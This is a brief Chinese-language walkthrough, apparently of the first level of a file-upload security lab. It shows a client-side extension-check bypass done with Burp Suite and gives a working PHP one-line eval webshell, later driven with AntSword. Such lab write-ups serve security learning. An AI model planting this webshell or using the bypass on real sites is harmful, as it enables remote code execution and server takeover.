文章目录
Pass-01
-
先上传一个正常的图片，查看返回结果，结果中带有文件上传路径，可以进行利用：
-
上传一个恶意的webshell，里面写入一句话木马： <?php @eval($_POST['cmd']); echo "hello"; ?>
将脚本名称改成图片格式jpg并上传，使用burpsuite进行拦截，再将jpg后缀改为php后发送：
-
发送成功后根据步骤一中的上传地址访问我们的webshell，正确打印出了hello，说明上传脚本成功：
-
后续可通过蚁剑利用该webshell执行其他操作：
